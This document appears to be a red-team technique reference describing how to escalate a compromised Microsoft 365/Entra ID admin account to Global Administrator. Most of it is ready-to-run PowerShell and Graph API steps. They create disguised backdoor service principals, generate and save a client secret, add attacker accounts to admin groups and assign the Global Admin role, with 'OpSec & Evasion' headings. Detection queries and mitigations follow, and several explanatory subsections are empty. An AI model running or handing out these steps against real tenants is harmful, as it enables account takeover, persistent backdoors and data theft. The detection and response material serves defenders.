MCADDF

[PE-ELEVATE-008]: SaaS Admin Account Escalation

Metadata

Attribute Details
Technique ID PE-ELEVATE-008
MITRE ATT&CK v18.1 T1548 - Abuse Elevation Control Mechanism
Tactic Privilege Escalation
Platforms M365/Entra ID
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions All M365 tenants, Entra ID (all versions)
Patched In N/A (Configuration-based vulnerability, not patchable)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: SaaS Admin Account Escalation exploits the hierarchical delegation and role assignment mechanisms in Microsoft 365 and Entra ID to elevate a compromised user account from a limited administrative role (e.g., Teams Admin, Exchange Admin, SharePoint Admin) to Global Administrator or equivalent unrestricted access. This technique leverages the design of role-based access control (RBAC) in M365, where certain admin roles can grant permissions to other roles, create new admin accounts, or modify role assignments.

Attack Surface: Entra ID role assignment APIs, Microsoft 365 Admin Center, PowerShell Graph cmdlets, role hierarchy delegation endpoints, PIM (Privileged Identity Management) workflows, conditional access policy modifications.

Business Impact: Unrestricted access to all Microsoft 365 services (Exchange Online, SharePoint, Teams, OneDrive) and underlying Entra ID infrastructure. An attacker can exfiltrate sensitive business data, compromise mail and file systems, impersonate users across the organization, modify security policies, and establish persistent backdoors through mailbox rules, application permissions, and service principals.

Technical Context: This attack completes within minutes once an admin account is compromised. Detection varies; some escalation paths are heavily logged (role assignments), while others (self-service permission grants) may be less visible. The attack is largely irreversible without comprehensive audit log review and credential reset.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS M365 3.1 Restrict Global Administrator Role Assignment
DISA STIG DISA-O365-000001 Office 365 user accounts must not have Global Admin role unless necessary
CISA SCuBA CISA-M365-AC-02 Privileged Account Management - Role hierarchy restrictions
NIST 800-53 AC-6, AC-3 Least Privilege, Access Enforcement
GDPR Art. 32 Security of Processing - Access control and monitoring
DORA Art. 9, Art. 15 Protection and Prevention, Cybersecurity risk management
NIS2 Art. 21(1)(d) Managing access to assets and services
ISO 27001 A.9.2.2, A.9.2.3 User registration and de-registration, Management of Privileged Access Rights
ISO 27005 Risk of unauthorized privilege escalation Compromise of administrative controls in SaaS platforms

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance (Exchange Admin / Teams Admin Context)

Enumerate current role assignments and identify escalation paths:

# Connect to Entra ID
Connect-MgGraph -Scopes "RoleManagement.Read.All", "User.Read.All"

# List all Entra ID roles
Get-MgDirectoryRole | Select-Object DisplayName, Id

# Check current user's roles
$CurrentUser = (Get-MgContext).Account
Get-MgUserMemberOf -UserId $CurrentUser.Id -All | Where-Object { $_.ObjectType -eq "DirectoryRole" }

# Enumerate admin accounts with Global Admin role
Get-MgDirectoryRoleMember -DirectoryRoleId "62e90394-69f5-4237-9190-012177145e10" | Select-Object DisplayName, Id

What to Look For:

Version Note: Commands are consistent across PowerShell 5.0+; Graph module syntax may vary between v1.x and v2.x

Azure CLI Reconnaissance

# Login to Azure
az login

# List all role assignments in the tenant
az role assignment list --subscription <subscription-id>

# Check current user's effective permissions
az ad user show --id $(az account show --query user.name -o tsv)

# List Entra ID roles (requires Global Admin preview features)
az rest --method get --uri "https://graph.microsoft.com/v1.0/directoryRoles"

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Exploiting Exchange Admin Role to Escalate to Global Admin

Supported Versions: M365 E3+, Exchange Online all versions

Step 1: Verify Exchange Admin Permissions

Objective: Confirm the compromised account has Exchange Admin role

Command:

# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName attacker@contoso.onmicrosoft.com

# Verify admin role
Get-RoleGroup | Where-Object { $_.Members -contains "attacker@contoso.onmicrosoft.com" }

# Expected output: "Organization Management" or "Exchange Administrators"

Expected Output:

Name                          DisplayName
----                          -----------
Organization Management       Organization Management

What This Means:

Step 2: Enumerate Role Assignment Capabilities

Objective: Determine if the Exchange Admin can assign roles in Entra ID

Command:

# Connect to Entra ID with Graph permissions
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.All", "User.Read.All"

# Check if current user can create new admin roles
Get-MgDirectoryRoleTemplate | Select-Object DisplayName, Id | head -20

# Attempt to list existing Global Admins
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
Get-MgDirectoryRoleMember -DirectoryRoleId $GlobalAdminRoleId | Select-Object DisplayName, Id

Expected Output:

DisplayName                   Id
-----------                   --
Global Administrator          62e90394-69f5-4237-9190-012177145e10
Application Administrator     10dae51f-b6af-4016-8d66-8c2a99b929a3
...

What This Means:

OpSec & Evasion:

Step 3: Create Service Principal with Global Admin Equivalent Access

Objective: Create a backdoor service principal with escalated permissions

Command:

# Create a new App Registration in Entra ID
$App = New-MgApplication -DisplayName "Security Management Tool" -RequiredResourceAccess @{
    ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
    ResourceAccess = @(
        @{Id = "9e3f62cf-ca93-4989-b6ce-bf83c28649dc"; Type = "Role"}  # Directory.ReadWrite.All
    )
}

# Get the object ID
$AppId = $App.AppId
Write-Output "Created App Registration: $AppId"

# Create a service principal for the app
$SP = New-MgServicePrincipal -AppId $AppId

# Assign Global Admin role to the service principal
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
New-MgDirectoryRoleMember -DirectoryRoleId $GlobalAdminRoleId -DirectoryObjectId $SP.Id

Write-Output "Service Principal assigned Global Admin role"

Expected Output:

Created App Registration: f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b
Service Principal assigned Global Admin role

What This Means:

Troubleshooting:

Step 4: Generate Client Secret for Service Principal

Objective: Create authentication credentials for the backdoor service principal

Command:

# Get the service principal
$SP = Get-MgServicePrincipal -Filter "displayName eq 'Security Management Tool'"

# Add a password credential (expires in 24 months)
$Secret = Add-MgServicePrincipalPassword -ServicePrincipalId $SP.Id -PasswordDisplayName "BackdoorSecret"

Write-Output "Client ID: $($SP.AppId)"
Write-Output "Client Secret: $($Secret.SecretText)"
Write-Output "Tenant ID: $(Get-MgContext).TenantId"

# Save credentials securely for later use
$Secret.SecretText | Out-File -FilePath "C:\temp\backdoor_secret.txt" -Force

Expected Output:

Client ID: f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b
Client Secret: d7f4~abc123XYZ...abc123XYZ
Tenant ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

What This Means:

OpSec & Evasion:

Step 5: Verify Escalation via Service Principal

Objective: Test that the service principal has Global Admin access

Command:

# Authenticate as the service principal
$TenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$ClientId = "f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b"
$ClientSecret = "d7f4~abc123XYZ...abc123XYZ"

$Body = @{
    grant_type    = "client_credentials"
    client_id     = $ClientId
    client_secret = $ClientSecret
    scope         = "https://graph.microsoft.com/.default"
}

$TokenResponse = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body $Body
$Token = $TokenResponse.access_token

# Use the token to make API calls with Global Admin privileges
$Headers = @{
    Authorization = "Bearer $Token"
}

# List users in the tenant (requires Global Admin)
Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/users?top=10" -Headers $Headers | Select-Object -ExpandProperty value | Select-Object DisplayName, Id

Expected Output:

displayName                        id
-----------                        --
Adele Vance                         00aa00aa-bb11-cc22-dd33-ee44ff55gg66
Alex Wilber                         11bb11bb-cc22-dd33-ee44-ff55aa66hh77
...

What This Means:


METHOD 2: Exploiting Teams Admin Role via Group Assignment

Supported Versions: M365 E3+, Teams all versions

Step 1: Verify Teams Admin Permissions

Objective: Confirm the compromised account is a Teams Admin

Command:

# Connect to Teams PowerShell
Connect-MicrosoftTeams -Credential (Get-Credential)

# Verify Teams admin role
Get-Team | Where-Object { $_.Owner -contains "attacker@contoso.onmicrosoft.com" }

# List Teams admin roles
Get-TeamsUserPolicyAssignment -Identity attacker@contoso.onmicrosoft.com

Expected Output:

Name             Owner
----             -----
IT-Department    attacker@contoso.onmicrosoft.com
Engineering      attacker@contoso.onmicrosoft.com

What This Means:

Step 2: Identify Escalation Paths via Group Membership

Objective: Find if Teams Admin can add accounts to privileged Entra ID groups

Command:

# Connect to Entra ID
Connect-MgGraph -Scopes "GroupMember.ReadWrite.All", "RoleManagement.ReadWrite.All"

# List all groups (especially those with admin roles)
Get-MgGroup -Filter "displayName eq 'Global Admins' or displayName eq 'Exchange Admins'" | Select-Object DisplayName, Id

# Check if Teams Admin can modify group membership
$AdminGroupId = "00bb00bb-cc22-dd33-ee44-ff55aa66hh77"
Get-MgGroupMember -GroupId $AdminGroupId | Select-Object DisplayName, Id

Expected Output:

displayName                   id
-----------                   --
Global Admins                 00bb00bb-cc22-dd33-ee44-ff55aa66hh77
Exchange Admins               11cc11cc-dd33-ee44-ff55-aa66bb77ii88

What This Means:

OpSec & Evasion:

Step 3: Create Fake Application Admin Account via Group Assignment

Objective: Add the compromised account to an admin group to escalate privileges

Command:

# First, create a new user in the tenant (or use existing)
$NewUser = New-MgUser -DisplayName "Admin Support Account" -MailNickname "admin-support" -UserPrincipalName "admin-support@contoso.onmicrosoft.com" -PasswordProfile @{Password="ComplexP@ssw0rd!"} -AccountEnabled

# Get the Global Admins group ID
$AdminGroupId = (Get-MgGroup -Filter "displayName eq 'Global Admins'").Id

# Add the compromised account to the Global Admins group
New-MgGroupMember -GroupId $AdminGroupId -DirectoryObjectId (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'").Id

# Verify membership
Get-MgGroupMember -GroupId $AdminGroupId | Select-Object DisplayName, Id

Expected Output:

displayName                   id
-----------                   --
attacker                      22dd22dd-ee55-ff66-aa77-bb88cc99jj00
Admin Support Account         33ee33ee-ff66-aa77-bb88-cc99dd00kk11

What This Means:


METHOD 3: Exploiting Application Administrator to Assign Application Permissions

Supported Versions: M365 E3+, Entra ID all versions

Step 1: Verify Application Administrator Role

Objective: Confirm the compromised account is an Application Admin

Command:

# Connect to Graph
Connect-MgGraph -Scopes "AppRoleAssignment.ReadWrite.All", "RoleManagement.Read.All"

# Check if user has Application Administrator role
$AppAdminRoleId = "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3"
$CurrentUser = (Get-MgContext).Account
Get-MgDirectoryRoleMember -DirectoryRoleId $AppAdminRoleId | Where-Object { $_.Id -eq (Get-MgUser -Filter "userPrincipalName eq '$($CurrentUser.Id)'").Id }

# If member, proceed
Write-Output "User is Application Administrator"

Expected Output:

User is Application Administrator

What This Means:

Step 2: Create Application with Directory.ReadWrite.All Permission

Objective: Create a new app with permissions to modify Entra ID

Command:

# Create a new app registration
$App = New-MgApplication -DisplayName "Azure Management Portal" -RequiredResourceAccess @{
    ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
    ResourceAccess = @(
        @{Id = "9e3f62cf-ca93-4989-b6ce-bf83c28649dc"; Type = "Role"}  # Directory.ReadWrite.All
    )
}

Write-Output "App created with ID: $($App.AppId)"

# Create service principal
$SP = New-MgServicePrincipal -AppId $App.AppId

# Grant the permission (requires admin consent)
$GraphServicePrincipal = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$AppRole = $GraphServicePrincipal.AppRoles | Where-Object { $_.Value -eq "Directory.ReadWrite.All" }

New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id -PrincipalId $SP.Id -AppRoleId $AppRole.Id -ResourceId $GraphServicePrincipal.Id

Write-Output "Directory.ReadWrite.All permission granted"

Expected Output:

App created with ID: f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b
Directory.ReadWrite.All permission granted

What This Means:

Step 3: Escalate the Original Account to Global Admin

Objective: Use the application to assign Global Admin role to the original compromised account

Command:

# Authenticate as the service principal
$TenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$ClientId = "f58c6c8d-7e3f-4c8a-9e1a-5b3c2d7f4a8b"
$ClientSecret = (Add-MgServicePrincipalPassword -ServicePrincipalId (Get-MgServicePrincipal -Filter "appId eq '$ClientId'").Id -PasswordDisplayName "EscalationSecret").SecretText

# Get access token
$Body = @{
    grant_type    = "client_credentials"
    client_id     = $ClientId
    client_secret = $ClientSecret
    scope         = "https://graph.microsoft.com/.default"
}

$TokenResponse = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body $Body
$Token = $TokenResponse.access_token

$Headers = @{
    Authorization = "Bearer $Token"
    "Content-Type" = "application/json"
}

# Get the Global Admin role ID
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"

# Get the user to escalate
$UserToEscalate = Invoke-RestMethod -Method Get -Uri "https://graph.microsoft.com/v1.0/users?`$filter=userPrincipalName eq 'attacker@contoso.onmicrosoft.com'" -Headers $Headers | Select-Object -ExpandProperty value

# Assign Global Admin role
$Body = @{
    principalId = $UserToEscalate.Id
    directoryScopeId = "/"
    roleDefinitionId = $GlobalAdminRoleId
} | ConvertTo-Json

Invoke-RestMethod -Method Post -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" -Headers $Headers -Body $Body

Write-Output "Global Admin role assigned to attacker@contoso.onmicrosoft.com"

Expected Output:

Global Admin role assigned to attacker@contoso.onmicrosoft.com

What This Means:


5. TOOLS & COMMANDS REFERENCE

Microsoft Graph PowerShell Module

Version: 2.0+ Minimum Version: 1.0 Supported Platforms: Windows, macOS, Linux (PowerShell Core 7+)

Installation:

Install-Module Microsoft.Graph -Repository PSGallery -Force

Usage:

Connect-MgGraph -Scopes "User.Read.All", "RoleManagement.ReadWrite.All"
Get-MgUser -Top 10

Exchange Online PowerShell

Version: 3.0+ Minimum Version: 2.0 Supported Platforms: Windows, PowerShell 5.0+

Installation:

Install-Module ExchangeOnlineManagement -Force

Usage:

Connect-ExchangeOnline
Get-Mailbox

Azure AD PowerShell (Legacy)

Version: 2.0.2.140+ (deprecated, use Microsoft Graph instead) Minimum Version: 1.1.6 Supported Platforms: Windows PowerShell 5.0+

Installation:

Install-Module AzureAD -Force

6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Reference: Atomic Red Team T1548


7. MICROSOFT SENTINEL DETECTION

Query 1: Detect Privilege Escalation via Role Assignment

Rule Configuration:

KQL Query:

AuditLogs
| where ActivityDisplayName in ("Add member to role", "Add eligible member to role", "Assign role to service principal", "Create app registration")
| where TargetResources[0].displayName in ("Global Administrator", "Exchange Administrator", "Application Administrator", "Directory Synchronization Accounts")
| where Result == "success"
| extend Initiator = InitiatedBy.user.userPrincipalName
| extend TargetUser = TargetResources[0].userPrincipalName
| project TimeGenerated, Initiator, TargetUser, ActivityDisplayName
| where Initiator !in ("admin@contoso.onmicrosoft.com", "svc_account@contoso.onmicrosoft.com")  // Exclude known legitimate admins

What This Detects:


Query 2: Detect Service Principal Creation with Graph Permissions

KQL Query:

AuditLogs
| where ActivityDisplayName == "Add service principal"
| extend SPId = TargetResources[0].id
| extend SPName = TargetResources[0].displayName
| where TargetResources[0].displayName contains "admin" or TargetResources[0].displayName contains "management" or TargetResources[0].displayName contains "security"
| project TimeGenerated, SPId, SPName, InitiatedBy.user.userPrincipalName as Creator

What This Detects:


8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check Global Admin count (should be minimal, ideally 2-3)
Connect-MgGraph -Scopes "RoleManagement.Read.All"
$GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
$GlobalAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId $GlobalAdminRoleId
Write-Output "Total Global Admins: $($GlobalAdmins.Count)"

# Check if PIM is configured
$PIMSettings = Get-MgPrivilegedIdentityManagementPolicy
Write-Output "PIM Enabled: $($PIMSettings.IsEligible)"

# Verify MFA requirement for admins
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Admin*" } | Select-Object DisplayName, State

Expected Output (If Secure):

Total Global Admins: 2
PIM Enabled: True
DisplayName                              State
-----------                              -----
Require MFA for Admins                   enabled
Block Legacy Auth                        enabled

What to Look For:


9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command:

    # Immediately disable the compromised admin account
    Update-MgUser -UserId (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'").Id -AccountEnabled:$false
       
    # Disable any backdoor service principals
    Update-MgServicePrincipal -ServicePrincipalId <SP_ID> -AccountEnabled:$false
    
  2. Collect Evidence:

    Command:

    # Export audit logs
    Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -ResultSize 50000 | Export-Csv -Path "C:\Evidence\audit_logs.csv"
       
    # Export sign-in logs
    Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'" -All | Export-Csv -Path "C:\Evidence\signin_logs.csv"
    
  3. Remediate:

    Command:

    # Remove malicious role assignments
    $GlobalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
    $MaliciousUser = (Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.onmicrosoft.com'").Id
    Get-MgDirectoryRoleAssignment -Filter "principalId eq '$MaliciousUser'" | Remove-MgDirectoryRoleAssignment
       
    # Delete backdoor service principals
    Remove-MgServicePrincipal -ServicePrincipalId <BACKDOOR_SP_ID>
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker captures compromised M365 user credentials
2 Privilege Escalation [PE-ELEVATE-008] SaaS Admin Account Escalation Escalate from Exchange Admin to Global Admin
3 Persistence [PERSIST-005] OAuth Application Backdoor Create persistent service principal with escalated permissions
4 Credential Access [CA-TOKEN-004] Graph API Token Theft Extract and reuse M365 tokens for lateral movement
5 Data Exfiltration [COLLECT-015] Mailbox Export Export sensitive emails and files to external storage

11. REAL-WORLD EXAMPLES

Example 1: Microsoft Security Advisory - Admin Role Escalation (2023)

Example 2: ALPHV/BlackCat Ransomware Campaign (2024)